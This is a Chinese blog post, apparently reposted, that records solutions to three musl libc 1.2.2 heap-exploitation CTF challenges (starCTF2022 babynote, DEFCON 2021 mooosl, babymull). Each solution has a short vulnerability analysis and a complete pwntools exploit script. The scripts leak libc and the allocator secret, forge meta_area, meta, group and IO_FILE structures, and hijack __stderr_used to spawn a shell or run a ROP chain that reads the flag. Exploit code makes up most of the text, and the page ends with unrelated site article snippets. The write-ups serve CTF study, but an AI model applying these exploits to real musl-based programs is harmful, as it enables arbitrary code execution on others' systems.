【musl-pwn】msul-pwn 刷题记录 -- musl libc 1.2.2

news2024/11/23 15:14:08

前言

本文不分析 musl libc 相关源码,仅仅为刷题记录,请读者自行学习相关知识(看看源码就行了,代码量也不大)

starCTF2022_babynote

保护:保护全开

程序与漏洞分析:

程序实现了一个菜单堆,具有增删查丢的功能,其主要维护着以下结构:

增加时采用的头插法。然后查看功能是从链表头 bss_ptr 遍历该链表,比对 name 找到指定对应的结构,然后输出其 content。删除操作同理也是比对 name,然后依次释放 name_ptr,content_ptr 与控制堆块本身,但是其存在一些问题:

可以看到如果链表中存在两个元素,那么删除最后一个元素时并没有进行脱链操作,这里就导致了 UAF。

除此之外,程序还给了一个丢的功能:

这里直接将 bss_ptr 给置空了。

漏洞利用:

 musl libc 目前主要的利用手法就是打 dequeue 中的 unlink,然后劫持 IO 控制程序执行流。

所以总体如下:

        1)泄漏 libc

        2)泄漏 chunk_addr -> group -> meta -> meta_area -> secret

        3)伪造 meta_area -> meta -> group -> chunk,伪造 io_file

        4)释放伪造的 chunk,修改 __stderr_used 为 fake_io_file

        5)然后执行 exit 劫持程序执行流

其实就是一些堆风水的工作,挺无聊的说实话,记录一下关键点吧。

1)泄漏 libc / chunk_addr

这里主要就是通过堆风水形成如下结构:一个堆块即是控制堆块又是一个 content 堆块。如果 size足够大的话,其就会使用 mmap 分配空间,这个跟 libc 有固定偏移。

这里我们可以利用第一个元素去泄漏第二个元素的 name_ptr 和 content_ptr(这里的布局不一定如图所示,这里就是画了一个草图,根据自己的堆风水而定)

2)泄漏 secret,这个是后面伪造 meta_area 用的

也是通过堆风水去修改 content_ptr 的值实现任意地址读。由于在第1)步中我们泄漏了 name_ptr 这个堆指针,所以可以根据其与 group 的偏移计算出 group 的地址,从而泄漏 meta,泄漏了 meta,其 meta&-4096 就是 meta_area,这里可以泄漏 secret 了

3)相关伪造操作

这里其实没啥好说的,直接在 content 上面伪造就行了,将 content 的大小搞大一点,这里就会调用 mmap 分配,而 libc 地址又是知道的,所以伪造的相关地址也是知道的。一些填充值直接调试填就好了。但是需要注意的是:meta_area 地址必须是页对齐的,chunk 地址必须是8字节对齐的

4)释放伪造的 chunk

修改 content_ptr 为 fake_chunk_addr 即可

在进行堆风水的时候最好开始的时候保留一个 chunk,不然测试发现后面会切换到其他 meta。

exp 如下:

from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
context(arch = 'amd64', os = 'linux')
#context(arch = 'i386', os = 'linux')
#context.log_level = 'debug'

io = process("./pwn")
elf = ELF("./pwn", checksec=False)
libc = elf.libc

def debug():
        gdb.attach(io)
        pause()

sd     = lambda s    : io.send(s)
sda    = lambda s, n : io.sendafter(s, n)
sl     = lambda s    : io.sendline(s)
sla    = lambda s, n : io.sendlineafter(s, n)
rc     = lambda n    : io.recv(n)
rl     = lambda      : io.recvline()
rut    = lambda s    : io.recvuntil(s, drop=True)
ruf    = lambda s    : io.recvuntil(s, drop=False)
addr4  = lambda n    : u32(io.recv(n, timeout=1).ljust(4, b'\x00'))
addr8  = lambda n    : u64(io.recv(n, timeout=1).ljust(8, b'\x00'))
addr32 = lambda s    : u32(io.recvuntil(s, drop=True, timeout=1).ljust(4, b'\x00'))
addr64 = lambda s    : u64(io.recvuntil(s, drop=True, timeout=1).ljust(8, b'\x00'))
byte   = lambda n    : str(n).encode()
info   = lambda s, n : print("\033[31m["+s+" -> "+str(hex(n))+"]\033[0m")
sh     = lambda      : io.interactive()
menu   = b'option: '

def add(name, data, name_size=None, data_size=None):
        sla(menu, b'1')
        if name_size is None: name_size=len(name)
        if data_size is None: data_size=len(data)
        sla(b'name size: ', byte(name_size))
        sda(b'name: ', name)
        sla(b'note size: ', byte(data_size))
        sda(b'note content: ', data)

def find(name, name_size=None):
        sla(menu, b'2')
        if name_size is None: name_size=len(name)
        sla(b'name size: ', byte(name_size))
        sda(b'name: ', name)

def dele(name, name_size=None):
        sla(menu, b'3')
        if name_size is None: name_size=len(name)
        sla(b'name size: ', byte(name_size))
        sda(b'name: ', name)

def forget():
        sla(menu, b'4')

def eexit():
        sla(menu, b'5')

def leak_addr():
        addr = 0
        for i in range(8):
                addr |= int(rc(2), 16) << (8*i);
        return addr

#gdb.attach(io, 'b *$rebase(0x00000000000016A1)')
#gdb.attach(io, 'b *$rebase(0x00000000000018BE)')

add(b'A', b'X')
for _ in range(8):
        find(b'B'*0x20)
forget()
add(b'B', b'1'*0x20)

for _ in range(5):
        find(b'C'*0x20)
add(b'C', b'2'*0x20)
dele(b'B')
add(b'X', b'A'*0x1000)
find(b'B')
rut(b':')

group_0x10 = leak_addr() - 0x60
libc_base = leak_addr() + 0x3fe0
info("group_0x10", group_0x10)
info("libc_base", libc_base)

for _ in range(5):
        find(b'C'*0x20)

pay = p64(group_0x10+0x50) + p64(group_0x10) + p64(1) + p64(0x20)
find(pay)
find(b'B')

rut(b':')
meta_0x10 = leak_addr()
meta_area_0x10 = meta_0x10 & (-4096)
info("meta_0x10", meta_0x10)
info("meta_area_0x10", meta_area_0x10)

for _ in range(5):
        find(b'D'*0x20)

pay = p64(group_0x10+0x50) + p64(meta_area_0x10) + p64(1) + p64(0x20)
find(pay)
find(b'B')
rut(b':')
secret = leak_addr()
info("secret", secret)

libc.address = libc_base
binsh = next(libc.search(b'/bin/sh\x00'))
system = libc.sym.system
stderr_used = libc.sym.__stderr_used
info("binsh", binsh)
info("system", system)
info("__stderr_used", stderr_used)

for _ in range(4):
        find(b'M'*0x20)

fake_addr = libc_base - 0x2aa0
fake_meta_area_addr = fake_addr + 0xaa0
fake_meta_addr = fake_meta_area_addr + 0x18
fake_group_addr = fake_addr
fake_chunk_addr = fake_addr + 0x10
fake_io_file_addr = fake_addr + 0x300

info("fake_meta_area_addr", fake_meta_area_addr)
info("fake_meta_addr", fake_meta_addr)
info("fake_group_addr", fake_group_addr)
info("fake_chunk_addr", fake_chunk_addr)
info("fake_io_file_addr", fake_io_file_addr)

last_idx, sizecalss, maplen = 5, 3, 1
union = last_idx | (1<<5) | (sizecalss<<6) | (maplen<<12)
fake_meta_area = p64(secret) + p64(0) + p64(4)
fake_meta = p64(fake_io_file_addr) + p64(stderr_used) + p64(fake_group_addr) + p32(62) + p32(0) + p64(union)
fake_group = p64(fake_meta_addr) + p32(last_idx) + p32((0x80<<8)) + b'A'*0x30 + b'\x00'*0x10

fake_io_file = b'/bin/sh\x00'.ljust(0x28, b'\x00') + p64(1) + p64(0)*3 + p64(system)

pay0 = p64(group_0x10+0x10) + p64(fake_chunk_addr) + p64(1) + p64(0x20)
pay1 = fake_group.ljust(0x300, b'A') + fake_io_file
pay1 = pay1.ljust(0xaa0, b'\x00') + fake_meta_area + fake_meta
pay1 = pay1.ljust(0x1000, b'B')

add(pay0, pay1)
dele(b'A')
#pause()
eexit()
sh()

效果如下:

defcon2021_mooosl

starCTF2022_babynote 这题其实就是根据这题改编的。

保护:保护全开

程序与漏洞分析:

程序实现了一个菜单堆,具有增删查的功能,其主要维护着以下结构:

增加功能就是根据指定的 index 找到对应的链表,然后利用头插法插入。查操作也是先根据 index 找到对应的链表,然后遍历链表对比 key 找到对应的结构,然后输出其 value 数据。

漏洞在删除操作中,删除操作也是先通过 index 找到对应链表,然后遍历链表对比 key 进行脱链删除操作,但是这里存在的问题是当一个链表中存在2个以上的元素并且删除最后一个时没有进行脱链操作,导致UAF。

漏洞利用:

漏洞利用跟上一题差不多,没啥好说的,毕竟上一题就是这一题改编的。

exp 如下:

from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
context(arch = 'amd64', os = 'linux')
#context(arch = 'i386', os = 'linux')
#context.log_level = 'debug'

io = process("./pwn")
elf = ELF("./pwn", checksec=False)
libc = elf.libc

def debug():
        gdb.attach(io)
        pause()

sd     = lambda s    : io.send(s)
sda    = lambda s, n : io.sendafter(s, n)
sl     = lambda s    : io.sendline(s)
sla    = lambda s, n : io.sendlineafter(s, n)
rc     = lambda n    : io.recv(n)
rl     = lambda      : io.recvline()
rut    = lambda s    : io.recvuntil(s, drop=True)
ruf    = lambda s    : io.recvuntil(s, drop=False)
addr4  = lambda n    : u32(io.recv(n, timeout=1).ljust(4, b'\x00'))
addr8  = lambda n    : u64(io.recv(n, timeout=1).ljust(8, b'\x00'))
addr32 = lambda s    : u32(io.recvuntil(s, drop=True, timeout=1).ljust(4, b'\x00'))
addr64 = lambda s    : u64(io.recvuntil(s, drop=True, timeout=1).ljust(8, b'\x00'))
byte   = lambda n    : str(n).encode()
info   = lambda s, n : print("\033[31m["+s+" -> "+str(hex(n))+"]\033[0m")
sh     = lambda      : io.interactive()
menu   = b'option: '

def add(key, value, key_size=None, value_size=None):
        sla(menu, b'1')
        if key_size is None: key_size=len(key)
        if value_size is None: value_size=len(value)
        sla(b'key size: ', byte(key_size))
        sda(b'key content: ', key)
        sla(b'value size: ', byte(value_size))
        sda(b'value content: ', value)

def show(key, key_size=None):
        sla(menu, b'2')
        if key_size is None: key_size=len(key)
        sla(b'key size: ', byte(key_size))
        sda(b'key content: ', key)

def dele(key, key_size=None):
        sla(menu, b'3')
        if key_size is None: key_size=len(key)
        sla(b'key size: ', byte(key_size))
        sda(b'key content: ', key)

def eexit():
        sla(menu, b'4')

def leak_addr():
        addr = 0
        for i in range(8):
                addr |= int(rc(2), 16) << (8*i);
        return addr

def get_index(key):
        mul = 2021
        for ch in key:
                mul = 0x13377331*mul + ord(ch)
        return mul&0xffffffff

def get_key(key):
        i = 0
        index = get_index(key) & 0xfff
        while True:
                if (get_index(str(i))&0xfff) == index and str(i) != key:
                        return str(i).encode()
                i += 1

#gdb.attach(io, 'b *$rebase(0x00000000000018BE)')

add(b'A', b'B')
for _ in range(5):
        show(b'P'*0x30)

add(b'B', b'B'*0x30)
add(get_key('B'), b'B')
dele(b'B')

for _ in range(3):
        show(b'P'*0x30)

add(b'C', b'C'*0x1000)
show(b'B')
rut(b':')
group_0x10 = leak_addr() - 0x70
libc_base = leak_addr() + 0x3fe0
info("group_0x10", group_0x10)
info("libc_base", libc_base)

for _ in range(3):
        show(b'P'*0x30)

pay = p64(group_0x10+0x30) + p64(group_0x10) + p64(1) + p64(0x30) + p64(0xb4c06217) + p64(0)
show(pay)
show(b'B')
rut(b':')
meta_0x10 = leak_addr()
meta_area_0x10 = meta_0x10 & (-4096)
info("meta_0x10", meta_0x10)
info("meta_area_0x10", meta_area_0x10)

for _ in range(3):
        show(b'P'*0x30)

pay = p64(group_0x10+0x30) + p64(meta_area_0x10) + p64(1) + p64(0x30) + p64(0xb4c06217) + p64(0)
show(pay)
show(b'B')
rut(b':')
secret = leak_addr()
info("secret", secret)

libc.address = libc_base
system = libc.sym.system
stderr_used = libc.sym.__stderr_used
info("system", system)
info("__stderr_used", stderr_used)

for _ in range(2):
        show(b'P'*0x30)

fake_addr = libc_base - 0x2aa0
fake_meta_area_addr = fake_addr + 0xaa0
fake_meta_addr = fake_meta_area_addr + 0x18
fake_group_addr = fake_addr
fake_chunk_addr = fake_addr + 0x10
fake_io_file_addr = fake_addr + 0x300

info("fake_meta_area_addr", fake_meta_area_addr)
info("fake_meta_addr", fake_meta_addr)
info("fake_group_addr", fake_group_addr)
info("fake_chunk_addr", fake_chunk_addr)
info("fake_io_file_addr", fake_io_file_addr)

last_idx, sizecalss, maplen = 5, 3, 1
union = last_idx | (1<<5) | (sizecalss<<6) | (maplen<<12)
fake_meta_area = p64(secret) + p64(0) + p64(4)
fake_meta = p64(fake_io_file_addr) + p64(stderr_used) + p64(fake_group_addr) + p32(62) + p32(0) + p64(union)
fake_group = p64(fake_meta_addr) + p32(last_idx) + p32((0x80<<8)) + b'A'*0x30 + b'\x00'*0x10
fake_io_file = b'/bin/sh\x00'.ljust(0x28, b'\x00') + p64(1) + p64(0)*3 + p64(system)

key = p64(group_0x10+0x20) + p64(fake_chunk_addr) + p64(1) + p64(0x30) + p64(0xb4c06217) + p64(0)
value = fake_group.ljust(0x300, b'A') + fake_io_file
value = value.ljust(0xaa0, b'\x00') + fake_meta_area + fake_meta
value = value.ljust(0x1000, b'B')

add(key, value)
dele(b'B')
eexit()
#debug()
sh()

效果如下:

babymull

这个题目跟之前的有一点不同,之前我们都是伪造 fake_chunk 然后根据 fake_chunk 伪造 fake_goup,进而伪造 fake_meta 和 fake_meta_area。但是这个题目我们不伪造 fake_chunk,我们知道 chunk 是根据 offset 找到的 group,所以如果我们能够修改 chunk 的 offset,便可以劫持 group,从而伪造 fake_group 后面就都是一样的了。

保护:保护全开,并且有沙箱

题目实现了一个菜单堆, 具有增删查的功能,并且还给了一个后门函数。其中查和后门都只能执行一次。题目主要维护着以下结构:

先来看下 show 功能:

可以看到这里用 %s 输出 name,所以如果能够将 name 填满,则会将 data_ptr 指针输出。而 data 的大小在 [1,0x1000] 之间,所以其可能是一个 mmap 分配的空间,所以可以用来泄漏 libc。

但是在 add 时填充 name 时最多输入15个字符: 

但是这里存在问题,这里memcpy不会在最后填上\x00,所以可以利用堆块本身残余的字符将name这16个字节填满。

在后门函数中存在任意地址泄漏和任意地址写一字节NULL:

因为后面要伪造meta_area,所以得泄漏secret,怎么泄漏呢?在上面两题我们是通过先泄漏group,然后泄漏meta,进而泄漏meta_area,然后去泄漏meta_area中secret(其实这里做麻烦了,呜呜呜)。但是我们知道malloc_context是全局的,并且在libc中,所以在泄漏了libc后,可以直接去泄漏malloc_context中的secret。所以利用后门可以直接泄漏secret。

删除操作本身不存在漏洞,所以现在就只有后门中的一字节任意地址写NULL这个漏洞了。利用思路如下:

堆风水形成如下布局:(这个算不上堆风水,先后申请两个0x1000的堆块就行,为啥是0x1000呢?方便我们在里面伪造相应的结构体,并且0x1000的堆块是mmap分配的,所以其地址相当于已知)

利用后门函数修改 chunk2 的 offset 字段的低字节为0,这样当释放chunk2时,其会根据 group_addr = chunk2_addr - 0x10 - 0x10*offset 找到 group,这时侯由于 offset 变小了(测试就是变小了),所以 group_addr 就会落在 chunk1 中,所以可以在chunk1中伪造group,后面伪造meta/meta_area 啥的就是如出一辙了。

坑点:chunk2每释放一次,其chunk2_addr就往下走0x10,chunk1一样,不知道啥原因。由于这个害的我调试调了好久,悲......

exp 如下:

from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
context(arch = 'amd64', os = 'linux')
#context(arch = 'i386', os = 'linux')
#context.log_level = 'debug'

io = process("./pwn")
elf = ELF("./pwn")
libc = elf.libc

def debug():
        gdb.attach(io)
        pause()

sd     = lambda s    : io.send(s)
sda    = lambda s, n : io.sendafter(s, n)
sl     = lambda s    : io.sendline(s)
sla    = lambda s, n : io.sendlineafter(s, n)
rc     = lambda n    : io.recv(n)
rut    = lambda s    : io.recvuntil(s, drop=True)
ruf    = lambda s    : io.recvuntil(s, drop=False)
addr   = lambda n    : u64(io.recv(n, timeout=1).ljust(8, b'\x00'))
addr32 = lambda s    : u32(io.recvuntil(s, drop=True, timeout=1).ljust(4, b'\x00'))
addr64 = lambda s    : u64(io.recvuntil(s, drop=True, timeout=1).ljust(8, b'\x00'))
byte   = lambda n    : str(n).encode()
info   = lambda s, n : print("\033[31m["+s+" -> "+str(hex(n))+"]\033[0m")
sh     = lambda      : io.interactive()
menu   = b'Your choice >> '
def add(content, size=None, name=b'A'*0xF):
        sla(menu, b'1')
        sda(b'Name: ', name)
        if size is None: size = len(content)
        sla(b'Size: ', byte(size))
        if size == len(content): sda(b'Content: ', content)
        else: sla(b'Content: ', content)

def dele(idx):
        sla(menu, b'2')
        sla(b'Index: ', byte(idx))

def show(idx):
        sla(menu, b'3')
        sla(b'Index: ', byte(idx))

def exit():
        sla(menu, b'4')

def backdoor(addr0, addr1):
        sla(menu, b'1932620593')
        sl(byte(addr0))
        sleep(0.1)
        sl(byte(addr1))

for _ in range(5):
        add(b'B'*0x20)
dele(0)
#dele(1)
add(b'A', 0x1000) # 0
add(b'B', 0x1000) # 5
show(5)
rut(b'Name:')
rc(0x10)
libc.address = addr64(b' C') + 0x2aa0
info('libc_base', libc.address)
o = libc.sym.open
r = libc.sym.read
w = libc.sym.write
rdi = libc.address + 0x0000000000015536  # pop rdi ; ret
rsi = libc.address + 0x000000000001b3a9  # pop rsi ; ret
rdx = libc.address + 0x00000000000177c7  # pop rdx ; ret
gadget = libc.address + 0x000000000004bcf3 # mov rsp, qword ptr [rdi + 0x30]; jmp qword ptr [rdi + 0x38];
malloc_context = libc.sym.__malloc_context
stderr = libc.sym.__stderr_used

info('open', o)
info('read', r)
info('write', w)
info('__malloc_context', malloc_context)
info('__stderr_used', stderr)

change_byte_by_zero_addr = libc.address - 0x2aa0 + 0x8 + 0x6
fake_file_addr = libc.address - 0x2aa0 + 0x10
fake_meta_area_addr = libc.address - 0x2aa0 - 0x560
fake_meta_addr = fake_file_addr + 0x100
fake_group_addr = libc.address - 0x2aa0 - 0x100*16 - 0x10 + 0x10
fake_group_to_first_chunk_offset = 0x530
fake_meta_area_to_first_chunk_offset = 0xfe0
end_to_second_chunk_offset = 0xfdc

info('change_byte_by_zero_addr', change_byte_by_zero_addr)
info('fake_file_addr', fake_file_addr)
info('fake_meta_area_addr', fake_meta_area_addr)
info('fake_meta_addr', fake_meta_addr)
info('fake_group_addr', fake_group_addr)

fake_stack = fake_file_addr + 0x200
flag_str = fake_file_addr
flag_buf = fake_file_addr + 0x300

union = 1 + (1<<5) + (27<<6) + (4<<12)
fake_file = b'./flag\x00\x00' + p64(0)*5 + p64(fake_stack) + p64(rdi) + p64(0) + p64(gadget)
fake_meta = p64(fake_file_addr) + p64(stderr) + p64(fake_group_addr) + p64(1) + p64(union)
fake_group = p64(fake_meta_addr) + p64(1) + p64(0)

orw = p64(flag_str) + p64(rsi) + p64(0) + p64(o)
orw+= p64(rdi) + p64(3) + p64(rsi) + p64(flag_buf) + p64(rdx) + p64(0x30) + p64(r)
orw+= p64(rdi) + p64(1) + p64(rsi) + p64(flag_buf) + p64(rdx) + p64(0x30) + p64(w)
dele(5)
pay = fake_file.ljust(0x100, b'\x00') + fake_meta
pay = pay.ljust(0x200, b'\x00')
pay+= orw
pay = pay.ljust(0xfd8, b'\x00')
pay+= p64(5)
print(hex(len(pay)))
add(pay, 0x1000) # 5
backdoor(change_byte_by_zero_addr, malloc_context)
secret = int(rc(18), 16)
info('secret', secret)
fake_meta_area = p64(secret).ljust(0x10, b'\x00')

dele(0)
pay = b'\x00'*0x530 + fake_group
pay = pay.ljust(0xfd0, b'\x00') + fake_meta_area
print(hex(len(pay)))
add(pay, 0x1000) # 0
#gdb.attach(io, 'b *$rebase(0x0000000000001862)')
#pause()
dele(5)
exit()
#debug()
sh()

效果如下:

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1289330.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

SL4010升压恒压控制器芯片 2.5V启动 最大10A电流 支持300W大功率

SL4010是一款升压恒压控制器芯片&#xff0c;它具有2.5V启动、最大10A电流、支持300W大功率等特点。该芯片采用先进的控制技术&#xff0c;能够实现高效的电能转换&#xff0c;同时保持稳定的输出电压和电流。 SL4010芯片的主要功能是将输入的直流电压升高到所需的电压&#xf…

mysql中year函数有什么用

YEAR()函数用于提取日期或日期时间值中的年份。可以用于提取DATE、DATETIME或TIMESTAMP列中的年份。 SELECT YEAR(date_column) FROM table;# 提取字符串中的数据SELECT YEAR(2023-07-19) FROM table_name;

Spring-Boot---配置文件

文章目录 配置文件的作用配置文件的格式PropertiesProperties基本语法读取Properties配置文件 ymlyml基本语法读取yml配置文件 Properties VS Yml 配置文件的作用 整个项目中所有重要的数据都是在配置文件中配置的&#xff0c;具有非常重要的作用。比如&#xff1a; 数据库的…

[UIM]论文解读:subword Regularization: Multiple Subword Candidates

文章目录 一、完整代码二、论文解读2.1 介绍2.2 NMT2.3 Unigram language model2.4 subword 抽样2.5 效果 三、整体总结 论文&#xff1a;Subword Regularization: Improving Neural Network Translation Models with Multiple Subword Candidates 作者&#xff1a;Taku Kudo 时…

策略梯度简明教程

策略梯度方法 (PG&#xff1a;Policy Gradient) 是强化学习 (RL&#xff1a;Reinforcement Learning) 中常用的算法。 1、从库里的本能开始 PG的原理很简单&#xff1a;我们观察&#xff0c;然后行动。人类根据观察采取行动。 引用斯蒂芬库里的一句话&#xff1a; 你必须依靠…

SQL Server 数据库,创建数据库并使用索引查询学员考试成绩

5.1索引 索引提供指针以指向存储在表中指定列的数据值&#xff0c;然后根据指定的次序排列这些指针&#xff0c;再跟随 指针到达包含该值的行。 5.1.1什么是索引 数据库中的索引与书籍中的目录类似。在一本书中&#xff0c;无须阅读整本书&#xff0c;利用目录就可以快速查 找…

如何实现加盐加密

自己实现 传统MD5可通过彩虹表暴力破解&#xff0c; 加盐加密算法是一种常用的密码保护方法&#xff0c;它将一个随机字符串&#xff08;盐&#xff09;添加到原始密码中&#xff0c;然后再进行加密处理。 1. 每次调用方法产生一个唯一盐值&#xff08;UUID &#xff09;密码…

海关查验到底查些什么,又有哪些注意事项呢?

“海关查验”是什么&#xff1f; 海关查验是指海关在接受报关单位的申报后&#xff0c;依法为确定进出境货物的性质、原产地、货物状况、数量和价值是否与货物申报单上已填报的详细内容相符&#xff0c;对货物进行实际检查的行政执法行为。查验是国家赋予海关的一种依法行政的…

显卡算力总结

2023年12月 显卡天梯图 FP32浮点性能 性能排行榜 | TopCPU.net2023年12月 最新的显卡天梯图和 FP32浮点性能 性能排行榜&#xff0c;包括浮点性能排名、测试得分和规格数据。跑分对比、基准测试比较。 https://www.topcpu.net/cpu-r5 显卡显存&#xff08;G&#xff09;浮点算…

电商用户行为可视化分析

1、导包 import pandas as pd import numpy as np import seaborn as sns import matplotlib.pyplot as plt import pyecharts.options as opts from pyecharts.charts import Line from pyecharts.charts import Grid 2、导数据 t_f_user pd.read_csv("tianchi_fresh…

提高企业邮箱安全性的策略与技巧

提高企业邮箱的安全性的方法大体相同&#xff0c;每家邮箱供应商也可能会有自己独有防护措施。 为了增强Zoho Mail企业邮箱的安全性&#xff0c;您可参考以下建议&#xff1a; 采用强密码&#xff1a;创建包含大写字母、小写字母、数字和特殊字符的复杂密码&#xff0c;并定期…

基于SSM的图书馆管理系统运行部署教程

基于SSM的图书馆管理系统运行部署教程 1、下载2、数据准备-导入sql文件3、项目导入idea4、项目运行5、测试6、日志乱码问题 1、下载 源码下载地址&#xff1a; https://download.csdn.net/download/weixin_44796239/85072348下载之后&#xff0c;会得到一个压缩包&#xff1a; …

Windows驱动中校验数字签名(使用 ci.dll)

1.背景 对于常规应用程序来说&#xff0c;校验数字签名认证在应用层可以使用 WinVerifyTrust, 在驱动层使用常规的 API无法使用&#xff0c;自己分析数据又太麻烦。 在内核中 ci.dll 包装了数据签名验证相关的功能&#xff0c;我们可以使用该 dll 来实现我们的数字签名验证。 详…

2023年度亚太客户中心产业发展论坛——鸿联九五荣获亚太区卓越客服大赛客户运营管理类铂金大奖

11月27-28日&#xff0c; 2023年度亚太客户中心产业发展论坛暨亚太区卓越客服大赛在马来西亚吉隆坡举行。来自中国、澳大利亚、马来西亚、新加坡、中国香港、印度尼西亚和泰国等多个国家及地区的优秀企业代表齐聚吉隆坡。 论坛首日活动以“Experience Excellence, Meet the Cha…

JavaScript代码压缩的功效与作用

JavaScript代码压缩可实现3大功能&#xff1a;减小体积、优化逻辑、提升执行效率 专业的JavaScript代码压缩&#xff0c;绝不仅仅是去除回车使代码挤到一行&#xff0c;而是用真正的技术减小代码体积、提升代码性能。 下面&#xff0c;以JShaman的JavaScript代码压缩功能为例…

辐射校正、辐射定标、大气校正关系

文章目录 前言一、基本概念二、辐射校正三、辐射定标四、大气校正 1.是否需要大气校正2.大气校正模型 五、参考链接 前言 完整的辐射校正包括遥感器校准、大气校正、太阳高度和地形校正。本文主要介绍辐射校正基本概念及区分辐射校正、辐射定标、大气校正。 一、基本概念 DN&a…

Java 将word转为PDF的三种方式和处理在服务器上下载后乱码的格式

我这边是因为业务需要将之前导出的word文档转换为PDF文件&#xff0c;然后页面预览下载这样的情况。之前导出word文档又不是我做的&#xff0c;所以为了不影响业务&#xff0c;只是将最后在输出流时转换成了PDF&#xff0c;当时本地调用没什么问题&#xff0c;一切正常&#xf…

挂耳式蓝牙耳机性价比排行榜吗,排名靠前的几款耳机推荐

当涉及挂耳式蓝牙耳机的选择时&#xff0c;消费者常常陷入选择困境&#xff0c;面对市场上琳琅满目的产品&#xff0c;很难找到性价比兼具的理想之选&#xff0c;为了帮助大家在众多选择中快速定位高性价比的耳机&#xff0c;我们精心整理了一份挂耳式蓝牙耳机性价比排行榜&…

javaWebssh图书系统myeclipse开发mysql数据库MVC模式java编程计算机网页设计

系统前景 图书有很多&#xff0c;老的图书书的管理靠纸介质&#xff0c;浪费人力和物力&#xff0c;给图书管理者带来极大的资源浪费。随着计算机信息化的普及&#xff0c;对图书的管理带来本质的改变&#xff0c;图书的销售情况以及&#xff0c;图书管理&#xff0c;以及年终对…

搜不到你想找的资料?那是你还没有掌握这些搜索技巧

文章目录 Google搜索命令sitefiletypeintitleinauthor:define:related:OR:- (减号):.. (两个点):weather:stocks:movie:link: 示例site:filetype:intitle:inauthor:define:related:OR:- (减号):.. (两个点):*** (星号):**cache:info:weather:stocks:movie:link: 补充 Google搜索…